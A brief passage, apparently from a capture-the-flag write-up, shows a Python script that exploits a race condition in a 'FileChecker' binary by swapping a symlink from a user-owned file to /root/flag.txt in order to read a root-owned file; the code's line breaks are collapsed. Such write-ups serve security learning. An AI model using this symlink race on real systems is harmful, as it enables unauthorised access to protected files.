There was a python installed, so I've decided to write a python script. I've used the scp (WinSCP) to upload and run the script on the machine.
Race condition in python:
```import osfrom threading import Thread
def func():    os.system('./FileChecker ./flag') def linkctf():    try:        os.unlink('flag')    except:        pass    os.symlink('.profile', 'flag') # link ctf owned file def linkroot():    os.unlink('flag')    os.symlink('/root/flag.txt', 'flag') # link root owned file
linkctf()t1 = Thread(target=linkroot)t2 = Thread(target=func)
t2.start()t1.start()
t1.join()t2.join()```